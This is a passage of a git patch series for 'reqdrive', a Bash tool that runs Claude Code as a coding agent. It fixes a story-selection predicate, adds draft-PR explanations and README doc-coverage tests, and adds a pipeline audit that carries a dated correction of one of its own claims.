(5), the run is marked `failed`, and `gh pr create` is never invoked — no empty draft PR is opened for a run that never planned. ### US-DRAFT-03: Stories omitting 'passes' are not complete, so the PR is a draft **Test:** `draft gate: stories omitting passes force draft` diff --git a/tests/FINDINGS.md b/tests/FINDINGS.md index 01d0e81..58b6179 100644 --- a/tests/FINDINGS.md +++ b/tests/FINDINGS.md @@ -17,6 +17,7 @@ so it cannot detect a silent defect. | F3 | `lib/run.sh:285-288` | `build_implementation_prompt` writes a prompt with blank Title/Description/Criteria when `jq` fails on malformed story JSON. No guard, no assertion. | Open | | F4 | Suite-wide | **18 assertions** end in a pure negative (`!` or `[ -z ]`) and cannot detect a setup failure. Measured 2026-07-23 with `awk '/^ *\($/{buf="";inb=1;next} /^ *\)$/{if(inb)print buf;inb=0;next} inb{buf=$0}' tests/simple-test.sh \| grep -cE '^\s*(!\|\[ -z )'`. (Down from a higher count after Task 4 converted two impl-prompt negations to `if grep; then exit 1; fi`.) | Open — triage at Task 35 | | F5 | `tests/simple-test.sh:346-356` | The `reqdrive validate` assertion checks only `-ne 0`, so it does not pin the exit code. | Closed by Task 31 | +| F6 | `lib/run.sh` draft-PR gate, `prd_present==0` branch | With Phase 1's planning-failure abort restored, `prd_present=0` is reachable only if `prd.json` is deleted *during* implementation (after planning already succeeded) — e.g. a misbehaving agent removing it mid-run. Not currently exercised by a dedicated test; the retargeted `draft gate: planning failure aborts with no PR` test covers the pre-planning-success abort path instead. | Open — candidate for a focused test | ## Closed diff --git a/tests/oracle.lock.json b/tests/oracle.lock.json index 252f7d1..3148e2f 100644 --- a/tests/oracle.lock.json +++ b/tests/oracle.lock.json @@ -4,7 +4,7 @@ "environment": { "claude": true }, - "suiteSha256": "def006bb85cd42a680e5190f8a37b887222dd56ceacd4daf2b5830a26b162c53", + "suiteSha256": "c4424f30028ef5ee7ff711029c70104cb1f36369977937229184ce4e5e88baf7", "gateSha256": "a1bcae04a802b2d54c2ff57956f33c2195b5187acc775947400b4da8d853f83b", "tests": [ { @@ -89,14 +89,14 @@ "name": "draft gate: full evidence produces non-draft PR", "story": "US-DRAFT-04" }, - { - "name": "draft gate: missing prd.json forces draft", - "story": "US-DRAFT-02" - }, { "name": "draft gate: no testCommand forces draft", "story": "US-DRAFT-01" }, + { + "name": "draft gate: planning failure aborts with no PR", + "story": "US-DRAFT-02" + }, { "name": "draft gate: stories omitting passes force draft", "story": "US-DRAFT-03" diff --git a/tests/simple-test.sh b/tests/simple-test.sh index fc1a1a5..5ec4816 100644 --- a/tests/simple-test.sh +++ b/tests/simple-test.sh @@ -2505,17 +2505,21 @@ echo "--- Draft Gate ---" ) test_result "draft gate: no testCommand forces draft" $? -# Test: fail-open B — no prd.json means no plan, so draft +# Test: planning failure — no prd.json after exhausting retries hard-aborts, no PR ( set -e source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" ph_setup "$TEST_TEMP/dg-b" ph_fake_claude noprd ph_fake_gh - ph_run REQ-01 > /dev/null - ph_gh_args | grep "pr create" | grep -q -- "--draft" + rc=$(ph_run REQ-01) + [ "$rc" = "5" ] + if ph_gh_args | grep -q "pr create"; then + echo "unexpected PR" >&2 + exit 1 + fi ) -test_result "draft gate: missing prd.json forces draft" $? +test_result "draft gate: planning failure aborts with no PR" $? # Test: fail-open C — stories omitting 'passes' are not complete, so draft ( From 759eb60cc2ea50ba0ce6c9307d7bcfcd1ad337e8 Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 18:09:47 -0600 Subject: [PATCH 26/47] fix: align select_next_story completion predicate with Phase 3 (F7) select_next_story used select(.passes == false and ...) while Phase 3's story counting used select(.passes != true). A story omitting the optional passes field entirely was never selected for implementation (== false doesn't match a missing/null field) yet Phase 3 counted it as incomplete, so the PR would draft forever with no way to make progress on that story. Change the predicate to .passes != true to agree with Phase 3. Adds a red-first regression test (US-RUN-31) and closes F7 in tests/FINDINGS.md. --- lib/run.sh | 4 ++-- tests/BEHAVIOR-SPEC.md | 7 +++++++ tests/FINDINGS.md | 4 +++- tests/oracle.lock.json | 6 +++++- tests/simple-test.sh | 22 ++++++++++++++++++++++ 5 files changed, 39 insertions(+), 4 deletions(-) diff --git a/lib/run.sh b/lib/run.sh index 0f33414..8037d00 100644 --- a/lib/run.sh +++ b/lib/run.sh @@ -365,7 +365,7 @@ PROMPT_IMPL # ── Story Selection ────────────────────────────────────────────────────────── -# Select the next story to implement (highest priority where passes == false) +# Select the next story to implement (highest priority where passes != true) # Args: $1 = prd_file # Prints the story ID, or empty string if all complete select_next_story() { @@ -379,7 +379,7 @@ select_next_story() { local story_id story_id=$(jq -r --argjson max "$max_retries" ' - [.userStories[] | select(.passes == false and ((.attempts // 0) < $max))] + [.userStories[] | select(.passes != true and ((.attempts // 0) < $max))] | sort_by(.priority) | first | .id // empty diff --git a/tests/BEHAVIOR-SPEC.md b/tests/BEHAVIOR-SPEC.md index 0da1c26..5459a4e 100644 --- a/tests/BEHAVIOR-SPEC.md +++ b/tests/BEHAVIOR-SPEC.md @@ -891,6 +891,13 @@ Each story maps to one or more tests in `tests/simple-test.sh`. **When** a story's `acceptanceCriteria` includes `"Check ${HOME} variable"` and I call `build_implementation_prompt`, **Then** the prompt file does not contain the actual expanded `$HOME` path, but does contain the literal escaped text `Check \${HOME} variable` and `US-003`. +### US-RUN-31: select_next_story — selects a story that omits the passes field +**Test:** `story: select_next_story selects a story omitting passes` + +**As** the pipeline orchestrator, +**When** the PRD has `US-001` (`passes: true`, priority 1) and `US-002` (priority 2, no `passes` field at all), and `select_next_story` is called, +**Then** it returns `"US-002"` — a story that omits `passes` is treated as incomplete (`passes != true`), matching Phase 3's completion predicate, so it remains selectable rather than being permanently skipped. + --- ## Module 6: bin/reqdrive (CLI) diff --git a/tests/FINDINGS.md b/tests/FINDINGS.md index 58b6179..11b8da6 100644 --- a/tests/FINDINGS.md +++ b/tests/FINDINGS.md @@ -21,4 +21,6 @@ so it cannot detect a silent defect. ## Closed -_None yet._ +| # | Location | Finding | Status | +|---|---|---|---| +| F7 | `lib/run.sh` `select_next_story` (near line 382) | `select_next_story` used `select(.passes == false and ...)` while Phase 3's completion count used `select(.passes != true)`. A story that omitted the optional `passes` field entirely was never selected for implementation (`== false` doesn't match `null`/absent) yet was counted incomplete by Phase 3 — the PR would draft forever and re-running the pipeline could never make progress on that story (a liveness hole). Fixed in this commit by changing the predicate to `select(.passes != true and ...)` to agree with Phase 3, with a red-first regression test (`story: select_next_story selects a story omitting passes`, US-RUN-31). | **Closed** | diff --git a/tests/oracle.lock.json b/tests/oracle.lock.json index 3148e2f..a715ed2 100644 --- a/tests/oracle.lock.json +++ b/tests/oracle.lock.json @@ -4,7 +4,7 @@ "environment": { "claude": true }, - "suiteSha256": "c4424f30028ef5ee7ff711029c70104cb1f36369977937229184ce4e5e88baf7", + "suiteSha256": "7db197a6c5d9b5735ac8edd7640835083ecd23401e35c2c4cdba1d6781099068", "gateSha256": "a1bcae04a802b2d54c2ff57956f33c2195b5187acc775947400b4da8d853f83b", "tests": [ { @@ -577,6 +577,10 @@ "name": "story: select_next_story returns story with attempts < max", "story": "US-RUN-18" }, + { + "name": "story: select_next_story selects a story omitting passes", + "story": "US-RUN-31" + }, { "name": "story: select_next_story skips stories with attempts >= max", "story": "US-RUN-17" diff --git a/tests/simple-test.sh b/tests/simple-test.sh index 5ec4816..476e2d1 100644 --- a/tests/simple-test.sh +++ b/tests/simple-test.sh @@ -1747,6 +1747,28 @@ PRDEOF ) test_result "story: select_next_story returns empty when all exhausted" $? +# Test: select_next_story selects a story omitting passes +( + set -e + export REQDRIVE_ROOT + source "$REQDRIVE_ROOT/lib/errors.sh" + source "$REQDRIVE_ROOT/lib/sanitize.sh" + source "$REQDRIVE_ROOT/lib/preflight.sh" + source "$REQDRIVE_ROOT/lib/schema.sh" + source "$REQDRIVE_ROOT/lib/run.sh" 2>/dev/null || true + + cat > "$TEST_TEMP/story-omits-passes.json" <<'PRDEOF' +{"version":"0.3.0","project":"Test","sourceReq":"REQ-01","userStories":[ + {"id":"US-001","title":"A","acceptanceCriteria":["a"],"priority":1,"passes":true}, + {"id":"US-002","title":"B","acceptanceCriteria":["b"],"priority":2} +]} +PRDEOF + + result=$(select_next_story "$TEST_TEMP/story-omits-passes.json" 3) + [ "$result" = "US-002" ] +) +test_result "story: select_next_story selects a story omitting passes" $? + echo "" echo "--- Prompt Builders ---" From fecc318dc78e8dfa749c4d5e8cdc1d1e978fdb4e Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 18:43:39 -0600 Subject: [PATCH 27/47] feat: explain why a run produced a draft PR MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit testCommand defaults to empty, so after the fail-closed inversion a default-configured project gets a draft on every run. Preflight now says so at run start and the PR body distinguishes 'no test command configured' from 'tests failed' — which is what makes the tri-state worth carrying rather than collapsing to a boolean. --- lib/pr-create.sh | 5 +++++ lib/preflight.sh | 14 ++++++++++++++ tests/BEHAVIOR-SPEC.md | 21 +++++++++++++++++++++ tests/oracle.lock.json | 14 +++++++++++++- tests/simple-test.sh | 32 ++++++++++++++++++++++++++++++++ 5 files changed, 85 insertions(+), 1 deletion(-) diff --git a/lib/pr-create.sh b/lib/pr-create.sh index 46b343a..07ff4dc 100644 --- a/lib/pr-create.sh +++ b/lib/pr-create.sh @@ -148,16 +148,21 @@ create_pr() { v_verification_passed=$(jq -r '.verification_passed' "$verification_file" 2>/dev/null || echo "null") local v_status_icon="⚠️" + local v_verification_reason="Not verified — no test command configured." if [ "$v_verification_passed" = "true" ]; then v_status_icon="✅" + v_verification_reason="Verification passed." elif [ "$v_verification_passed" = "false" ]; then v_status_icon="❌" + v_verification_reason="Verification failed — tests did not pass." fi verification_section=$(cat <&2 + return 0 + fi + return 0 +} + # Check we're in a git repository check_git_repo() { if ! git rev-parse --git-dir >/dev/null 2>&1; then @@ -186,6 +196,10 @@ run_preflight_checks() { check_branch_conflicts "$branch" || true fi + if [ "$failed" -eq 0 ]; then + check_test_command_configured || true + fi + if [ "$failed" -eq 1 ]; then echo "" >&2 echo "[ERROR] Pre-flight checks failed. Use --force to bypass (not recommended)." >&2 diff --git a/tests/BEHAVIOR-SPEC.md b/tests/BEHAVIOR-SPEC.md index 5459a4e..f6f0605 100644 --- a/tests/BEHAVIOR-SPEC.md +++ b/tests/BEHAVIOR-SPEC.md @@ -1041,6 +1041,20 @@ Each story maps to one or more tests in `tests/simple-test.sh`. **When** I call `check_requirement_exists "REQ-01"` against a requirements directory containing `REQ-01-test-feature.md`, **Then** it returns 0. +### US-PRE-07: check_test_command_configured warns when testCommand is empty +**Test:** `preflight: warns when no testCommand is configured` + +**As** a preflight checker, +**When** I call `check_test_command_configured` with `REQDRIVE_TEST_COMMAND` unset/empty, +**Then** it prints a warning containing "all PRs will be created as drafts" and still returns 0. + +### US-PRE-08: check_test_command_configured is silent when testCommand is set +**Test:** `preflight: silent when testCommand is configured` + +**As** a preflight checker, +**When** I call `check_test_command_configured` with `REQDRIVE_TEST_COMMAND` set to a non-empty command, +**Then** it prints nothing. + --- ## Module 8: pr-create.sh @@ -1080,6 +1094,13 @@ Each story maps to one or more tests in `tests/simple-test.sh`. **When** no `verification-summary.json` exists in the run directory and I call `create_pr`, **Then** the PR body passed to `gh pr create` does not contain "Pipeline Verification". +### US-PR-06: PR body states why verification was not run +**Test:** `pr: body states why verification was not run` + +**As** a pipeline runner, +**When** a full scripted pipeline run completes with no `testCommand` configured (`verification_passed` is `null`), +**Then** the PR body passed to `gh pr create` contains the reason "no test command configured". + --- ## Module 9: init.sh diff --git a/tests/oracle.lock.json b/tests/oracle.lock.json index a715ed2..54f4ac5 100644 --- a/tests/oracle.lock.json +++ b/tests/oracle.lock.json @@ -4,7 +4,7 @@ "environment": { "claude": true }, - "suiteSha256": "7db197a6c5d9b5735ac8edd7640835083ecd23401e35c2c4cdba1d6781099068", + "suiteSha256": "affb2bea6198f7ff1c8bc6443097f6049801d5e9e1317b62b1407288c7b223b3", "gateSha256": "a1bcae04a802b2d54c2ff57956f33c2195b5187acc775947400b4da8d853f83b", "tests": [ { @@ -261,6 +261,10 @@ "name": "pr: body omits verification section when no summary file", "story": "US-PR-05" }, + { + "name": "pr: body states why verification was not run", + "story": "US-PR-06" + }, { "name": "pr: create_pr outputs URL to stdout", "story": "US-PR-01" @@ -297,6 +301,14 @@ "name": "preflight: check_requirements_dir passes with .md files", "story": "US-PRE-05" }, + { + "name": "preflight: silent when testCommand is configured", + "story": "US-PRE-08" + }, + { + "name": "preflight: warns when no testCommand is configured", + "story": "US-PRE-07" + }, { "name": "prompt: build_planning_prompt includes PRD schema", "story": "US-RUN-21" diff --git a/tests/simple-test.sh b/tests/simple-test.sh index 476e2d1..86c29ea 100644 --- a/tests/simple-test.sh +++ b/tests/simple-test.sh @@ -2571,6 +2571,38 @@ test_result "draft gate: stories omitting passes force draft" $? ) test_result "draft gate: full evidence produces non-draft PR" $? +# Test: preflight warns when no testCommand is configured +( + set -e + source "$REQDRIVE_ROOT/lib/errors.sh" + source "$REQDRIVE_ROOT/lib/preflight.sh" + out=$(REQDRIVE_TEST_COMMAND="" check_test_command_configured 2>&1) || true + echo "$out" | grep -q "all PRs will be created as drafts" +) +test_result "preflight: warns when no testCommand is configured" $? + +# Test: preflight is silent when a testCommand exists +( + set -e + source "$REQDRIVE_ROOT/lib/errors.sh" + source "$REQDRIVE_ROOT/lib/preflight.sh" + out=$(REQDRIVE_TEST_COMMAND="npm test" check_test_command_configured 2>&1) || true + [ -z "$out" ] +) +test_result "preflight: silent when testCommand is configured" $? + +# Test: PR body distinguishes 'not configured' from 'tests failed' +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/dg-reason" + ph_fake_claude full + ph_fake_gh + ph_run REQ-01 > /dev/null + grep -q "no test command configured" "$PH_ROOT/gh-args.log" +) +test_result "pr: body states why verification was not run" $? + echo "" echo "--- Harness Safety ---" From 0202b8beadc31d84bde4931587a9458f819fcd7c Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 19:22:26 -0600 Subject: [PATCH 28/47] docs: document plan and orchestrate, gated by a coverage test The dispatch block accepts nine commands; README documented seven. The test parses the live case block, so adding a command in a later phase reddens the suite until README catches up. --- README.md | 2 ++ tests/BEHAVIOR-SPEC.md | 9 +++++++++ tests/oracle.lock.json | 6 +++++- tests/simple-test.sh | 19 +++++++++++++++++++ 4 files changed, 35 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 6ddd738..b12992f 100644 --- a/README.md +++ b/README.md @@ -52,6 +52,8 @@ reqdrive run REQ-01 # Run pipeline for a requirement | `reqdrive logs ` | Tail output log for a background run | | `reqdrive validate` | Validate the configuration file | | `reqdrive migrate` | Add version fields to pre-0.3.0 configs/PRDs | +| `reqdrive plan ` | Generate `prd.json` only — planning phase without implementation. Useful for reviewing the plan before committing agent time. | +| `reqdrive orchestrate` | Multi-requirement sequencing. **Not implemented** — prints a "coming soon" notice and exits 0. | | `reqdrive --version` | Show version | | `reqdrive --help` | Show help | diff --git a/tests/BEHAVIOR-SPEC.md b/tests/BEHAVIOR-SPEC.md index f6f0605..58f479c 100644 --- a/tests/BEHAVIOR-SPEC.md +++ b/tests/BEHAVIOR-SPEC.md @@ -1223,3 +1223,12 @@ Each story maps to one or more tests in `tests/simple-test.sh`. **As** a maintainer relying on the draft-PR gate as a safety net, **When** `prd.json` exists, every story has `passes: true`, and `testCommand` runs and passes (`verification_passed` is the literal string `"true"`), **Then** `gh pr create` is invoked without `--draft` — proving the fix does not simply force every PR to draft unconditionally. + +## Module 14: doc coverage + +### US-DOC-01: Every dispatch command is documented in README +**Test:** `docs: every CLI command is documented in README` + +**As** a maintainer relying on the README as the source of truth for the CLI surface, +**When** the dispatch `case` block in `bin/reqdrive` is parsed for command labels (excluding `-v|--version`, `-h|--help|""`, and `*`), +**Then** every remaining command appears in `README.md` — so adding a new dispatch command without documenting it fails the suite. diff --git a/tests/oracle.lock.json b/tests/oracle.lock.json index 54f4ac5..821c99c 100644 --- a/tests/oracle.lock.json +++ b/tests/oracle.lock.json @@ -4,7 +4,7 @@ "environment": { "claude": true }, - "suiteSha256": "affb2bea6198f7ff1c8bc6443097f6049801d5e9e1317b62b1407288c7b223b3", + "suiteSha256": "d3137eaaea3195001058b85eecdd672727eb2ef797b6311881fb6e97903dfd04", "gateSha256": "a1bcae04a802b2d54c2ff57956f33c2195b5187acc775947400b4da8d853f83b", "tests": [ { @@ -85,6 +85,10 @@ "name": "cli: --version shows 0.3.0", "story": "US-CLI-01" }, + { + "name": "docs: every CLI command is documented in README", + "story": "US-DOC-01" + }, { "name": "draft gate: full evidence produces non-draft PR", "story": "US-DRAFT-04" diff --git a/tests/simple-test.sh b/tests/simple-test.sh index 86c29ea..99d17d8 100644 --- a/tests/simple-test.sh +++ b/tests/simple-test.sh @@ -2603,6 +2603,25 @@ test_result "preflight: silent when testCommand is configured" $? ) test_result "pr: body states why verification was not run" $? +echo "" +echo "--- Doc Coverage ---" + +# Test: every dispatch command appears in README +( + set -e + cmds=$(awk '/^case "\$\{1:-\}" in$/,/^esac$/' "$REQDRIVE_ROOT/bin/reqdrive" \ + | sed 's/^[[:space:]]*//' \ + | grep -E '^[a-z][a-z-]*\)$' \ + | tr -d ')') + [ -n "$cmds" ] + missing="" + for c in $cmds; do + grep -q "reqdrive $c" "$REQDRIVE_ROOT/README.md" || missing="$missing $c" + done + [ -z "$missing" ] || { echo "undocumented commands:$missing" >&2; false; } +) +test_result "docs: every CLI command is documented in README" $? + echo "" echo "--- Harness Safety ---" From daba21f6ce0d99ee4b412e40fc5335a1842f6df6 Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 20:05:17 -0600 Subject: [PATCH 29/47] docs: document maxStoryRetries and reviewCommand, gated by a test Second doc-coverage rule: every REQDRIVE_* config field in lib/config.sh must appear in README, minus a DOC_EXEMPT list of the three derived runtime paths (REQDRIVE_MANIFEST, REQDRIVE_PROJECT_ROOT, REQDRIVE_ROOT). Failed on maxStoryRetries and reviewCommand until documented. US-DOC-02. (Subagent completed the edits; controller ran the final --accept and gate to avoid the park-on-background-job issue with the slow suite.) --- README.md | 2 ++ tests/BEHAVIOR-SPEC.md | 7 +++++++ tests/oracle.lock.json | 6 +++++- tests/simple-test.sh | 25 +++++++++++++++++++++++++ 4 files changed, 39 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index b12992f..e5f5132 100644 --- a/README.md +++ b/README.md @@ -93,6 +93,8 @@ reqdrive run REQ-01 # Run pipeline for a requirement | `prLabels` | `["agent-generated"]` | Labels to add to PRs | | `projectName` | (none) | Project name for PR titles | | `completionHook` | (none) | Shell command executed when pipeline completes | +| `maxStoryRetries` | `3` | Maximum attempts per user story. `select_next_story` skips a story once its `attempts` counter reaches this value, so a story that cannot be implemented does not consume the whole iteration budget | +| `reviewCommand` | (none) | Post-PR review step. `"builtin"` runs a Claude review of the diff; any other non-empty string is executed as a shell command. Findings are appended to the PR body. Warn-only — it never aborts the pipeline, and it runs after PR creation, so it cannot change the draft decision | ## Project Layout diff --git a/tests/BEHAVIOR-SPEC.md b/tests/BEHAVIOR-SPEC.md index 58f479c..7523327 100644 --- a/tests/BEHAVIOR-SPEC.md +++ b/tests/BEHAVIOR-SPEC.md @@ -1232,3 +1232,10 @@ Each story maps to one or more tests in `tests/simple-test.sh`. **As** a maintainer relying on the README as the source of truth for the CLI surface, **When** the dispatch `case` block in `bin/reqdrive` is parsed for command labels (excluding `-v|--version`, `-h|--help|""`, and `*`), **Then** every remaining command appears in `README.md` — so adding a new dispatch command without documenting it fails the suite. + +### US-DOC-02: Every config field is documented in README +**Test:** `docs: every config field is documented in README` + +**As** a maintainer relying on the README as the source of truth for `reqdrive.json`, +**When** every `REQDRIVE_[A-Z_]+` variable exported by `lib/config.sh` is collected, the three derived-path variables (`REQDRIVE_MANIFEST`, `REQDRIVE_PROJECT_ROOT`, `REQDRIVE_ROOT`) are exempted as not settable config fields, and each remaining variable's snake_case suffix is converted to its camelCase `reqdrive.json` field name (e.g. `MAX_STORY_RETRIES` -> `maxStoryRetries`), +**Then** every derived field name appears in `README.md` — so adding a new config field without documenting it fails the suite. diff --git a/tests/oracle.lock.json b/tests/oracle.lock.json index 821c99c..093a0bf 100644 --- a/tests/oracle.lock.json +++ b/tests/oracle.lock.json @@ -4,7 +4,7 @@ "environment": { "claude": true }, - "suiteSha256": "d3137eaaea3195001058b85eecdd672727eb2ef797b6311881fb6e97903dfd04", + "suiteSha256": "ec721a8c1ee545a6a0674604e4cdee2ecbd47bfddc953780aaa71d5f64ed9b7d", "gateSha256": "a1bcae04a802b2d54c2ff57956f33c2195b5187acc775947400b4da8d853f83b", "tests": [ { @@ -89,6 +89,10 @@ "name": "docs: every CLI command is documented in README", "story": "US-DOC-01" }, + { + "name": "docs: every config field is documented in README", + "story": "US-DOC-02" + }, { "name": "draft gate: full evidence produces non-draft PR", "story": "US-DRAFT-04" diff --git a/tests/simple-test.sh b/tests/simple-test.sh index 99d17d8..28efbf7 100644 --- a/tests/simple-test.sh +++ b/tests/simple-test.sh @@ -2622,6 +2622,31 @@ echo "--- Doc Coverage ---" ) test_result "docs: every CLI command is documented in README" $? +# Test: every config-backed REQDRIVE_* variable is documented in README +( + set -e + # DOC_EXEMPT — derived at runtime, not settable in reqdrive.json: + # REQDRIVE_MANIFEST resolved path of the found manifest + # REQDRIVE_PROJECT_ROOT parent directory of the manifest + # REQDRIVE_ROOT reqdrive's own install directory + exempt="REQDRIVE_MANIFEST REQDRIVE_PROJECT_ROOT REQDRIVE_ROOT" + vars=$(grep -oE 'REQDRIVE_[A-Z_]+' "$REQDRIVE_ROOT/lib/config.sh" | sort -u) + [ -n "$vars" ] + missing="" + for v in $vars; do + case " $exempt " in *" $v "*) continue ;; esac + # REQDRIVE_MAX_STORY_RETRIES -> maxStoryRetries + field=$(printf '%s\n' "${v#REQDRIVE_}" | awk -F_ '{ + out = tolower($1) + for (i = 2; i <= NF; i++) out = out toupper(substr($i,1,1)) tolower(substr($i,2)) + print out + }') + grep -q "$field" "$REQDRIVE_ROOT/README.md" || missing="$missing $field" + done + [ -z "$missing" ] || { echo "undocumented config fields:$missing" >&2; false; } +) +test_result "docs: every config field is documented in README" $? + echo "" echo "--- Harness Safety ---" From fd6ef137b90567b63591b96130c4d77f4b0e8e4e Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 20:25:36 -0600 Subject: [PATCH 30/47] docs: document --dangerously-skip-permissions, gated by a test MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Third doc-coverage rule: every accepted CLI flag (parsed from bin/reqdrive's option case-labels, so the --help inside the usage-error string is not a false positive) must appear in README's Run Options. US-DOC-03. The flag was already mentioned parenthetically, so this rule's own red-first was trivial; its value is as a standing gate — when a later task adds --ref, the suite reddens until README documents it. Lock regenerated deliberately by the controller (--accept) and gate-verified 170/170 after a background-job race left the on-disk lock ambiguous. --- README.md | 1 + tests/BEHAVIOR-SPEC.md | 7 +++++++ tests/oracle.lock.json | 6 +++++- tests/simple-test.sh | 17 +++++++++++++++++ 4 files changed, 30 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index e5f5132..b345711 100644 --- a/README.md +++ b/README.md @@ -63,6 +63,7 @@ reqdrive run REQ-01 # Run pipeline for a requirement |------|-------------| | `-i`, `--interactive` | Run in interactive mode (default, safer) | | `--unsafe` | Skip permission prompts (`--dangerously-skip-permissions`) | +| `--dangerously-skip-permissions` | Alias for `--unsafe`. Accepted for parity with the `claude` CLI's own flag name. Grants the agent unrestricted system access; `launch` always uses this mode because a detached run cannot answer permission prompts. | | `--force` | Skip pre-flight checks | | `--resume` | Resume from last checkpoint | diff --git a/tests/BEHAVIOR-SPEC.md b/tests/BEHAVIOR-SPEC.md index 7523327..5d002a5 100644 --- a/tests/BEHAVIOR-SPEC.md +++ b/tests/BEHAVIOR-SPEC.md @@ -1239,3 +1239,10 @@ Each story maps to one or more tests in `tests/simple-test.sh`. **As** a maintainer relying on the README as the source of truth for `reqdrive.json`, **When** every `REQDRIVE_[A-Z_]+` variable exported by `lib/config.sh` is collected, the three derived-path variables (`REQDRIVE_MANIFEST`, `REQDRIVE_PROJECT_ROOT`, `REQDRIVE_ROOT`) are exempted as not settable config fields, and each remaining variable's snake_case suffix is converted to its camelCase `reqdrive.json` field name (e.g. `MAX_STORY_RETRIES` -> `maxStoryRetries`), **Then** every derived field name appears in `README.md` — so adding a new config field without documenting it fails the suite. + +### US-DOC-03: Every accepted CLI flag is documented in README +**Test:** `docs: every CLI flag is documented in README` + +**As** a maintainer relying on the README as the source of truth for the CLI's accepted flags, +**When** the option-parsing `case` blocks in `bin/reqdrive` (the `run`/`launch` block and the `plan` block) are parsed for case labels matching `^(-[a-z]\|)?--[a-z-]+(\|--[a-z-]+)*\)$` and split on `|` — so free `--` literals inside strings, such as the `--help` inside the usage message `echo "Run 'reqdrive run --help' for usage."`, are not mistaken for flags, +**Then** every extracted flag (`--interactive`, `--unsafe`, `--dangerously-skip-permissions`, `--force`, `--resume`) appears in `README.md` — so adding a new accepted flag, or an alias like `--dangerously-skip-permissions`, without documenting it fails the suite. diff --git a/tests/oracle.lock.json b/tests/oracle.lock.json index 093a0bf..bb15225 100644 --- a/tests/oracle.lock.json +++ b/tests/oracle.lock.json @@ -4,7 +4,7 @@ "environment": { "claude": true }, - "suiteSha256": "ec721a8c1ee545a6a0674604e4cdee2ecbd47bfddc953780aaa71d5f64ed9b7d", + "suiteSha256": "58ffb0662b95e938d0df3dba47788df503d081f8eeabc9f9e5f80aa742b962c1", "gateSha256": "a1bcae04a802b2d54c2ff57956f33c2195b5187acc775947400b4da8d853f83b", "tests": [ { @@ -89,6 +89,10 @@ "name": "docs: every CLI command is documented in README", "story": "US-DOC-01" }, + { + "name": "docs: every CLI flag is documented in README", + "story": "US-DOC-03" + }, { "name": "docs: every config field is documented in README", "story": "US-DOC-02" diff --git a/tests/simple-test.sh b/tests/simple-test.sh index 28efbf7..a076758 100644 --- a/tests/simple-test.sh +++ b/tests/simple-test.sh @@ -2647,6 +2647,23 @@ test_result "docs: every CLI command is documented in README" $? ) test_result "docs: every config field is documented in README" $? +# Test: every accepted CLI flag is documented in README +( + set -e + flags=$(sed -n '90,130p;395,425p' "$REQDRIVE_ROOT/bin/reqdrive" \ + | sed 's/^[[:space:]]*//' \ + | grep -E '^(-[a-z]\|)?--[a-z-]+(\|--[a-z-]+)*\)$' \ + | tr -d ')' | tr '|' '\n' \ + | grep -E '^--' | sort -u) + [ -n "$flags" ] + missing="" + for f in $flags; do + grep -q -- "$f" "$REQDRIVE_ROOT/README.md" || missing="$missing $f" + done + [ -z "$missing" ] || { echo "undocumented flags:$missing" >&2; false; } +) +test_result "docs: every CLI flag is documented in README" $? + echo "" echo "--- Harness Safety ---" From c7ac50e705e792742c5398b96488283578fb34b6 Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 20:26:48 -0600 Subject: [PATCH 31/47] docs: relocate the pipeline audit and retract its false claim The audit says reqdrive 'never verifies outputs'. lib/run.sh:1106-1117 re-runs testCommand and reads the real exit code, so that is false. The reasoning that produced the roadmap is kept; only the claim is corrected, in place and dated. --- docs/audits/2026-02-16-pipeline-audit.md | 643 +++++++++++++++++++++++ 1 file changed, 643 insertions(+) create mode 100644 docs/audits/2026-02-16-pipeline-audit.md diff --git a/docs/audits/2026-02-16-pipeline-audit.md b/docs/audits/2026-02-16-pipeline-audit.md new file mode 100644 index 0000000..177fe10 --- /dev/null +++ b/docs/audits/2026-02-16-pipeline-audit.md @@ -0,0 +1,643 @@ +> **Historical document — dated 2026-02-16. Corrections appended 2026-07-23.** +> +> **Retracted claim:** this audit states that reqdrive "validates inputs +> exhaustively but never verifies outputs." That is **false** as of the +> verification phase. `lib/run.sh:1106-1117` re-runs the configured +> `testCommand` and derives `verification_passed` from the process exit +> code — an independent output check, not agent self-report. +> +> **Still true, and worse than this audit found:** the draft-PR gate +> fail-opened three ways (null verification, missing `prd.json`, and +> stories omitting the optional `passes` field). All three are closed by +> the fail-closed inversion in +> [`docs/superpowers/specs/2026-07-23-reqdrive-roadmap-completion-design.md`](../superpowers/specs/2026-07-23-reqdrive-roadmap-completion-design.md). +> +> The Tier 1/2/3 recommendations below drove the roadmap in `CLAUDE.md` +> and are retained as the reasoning behind it. + +# reqdrive Pipeline — Audit Report + +## Executive Summary + +reqdrive v0.3.0 is a well-engineered Bash CLI (~750 lines across 8 modules + 530-line entry point) that automates the path from a markdown requirement document to a GitHub pull request by orchestrating Claude Code as an autonomous coding agent. The core pipeline — pre-flight checks, PRD generation, deterministic story-by-story implementation, and PR creation — is production-ready, thoroughly tested (135+ tests), and thoughtfully designed around a key architectural insight: the shell controls *what* and *when*, the agent controls *how*. + +**What exists is strong.** The input validation is multi-layered (pattern detection, shell escaping, path traversal prevention). The checkpoint/resume system handles expensive long-running operations gracefully. Story selection is deterministic via jq, preventing agent drift. PR creation includes retry logic for common failure modes. The codebase is modular, well-commented, and follows consistent conventions. + +**What's missing is output verification.** The pipeline validates inputs exhaustively but never verifies outputs. It doesn't check if commits actually happened, doesn't run tests itself (delegates entirely to the agent), doesn't verify that changed files are in-scope for the target story, and relies on the agent's self-reported iteration summaries for observability. The `testCommand` config field is auto-detected during `init` but never executed by the shell. This means the pipeline can report success even when the agent failed silently, committed nothing, or broke existing tests. + +**The gap between "reqdrive works" and "reqdrive produces 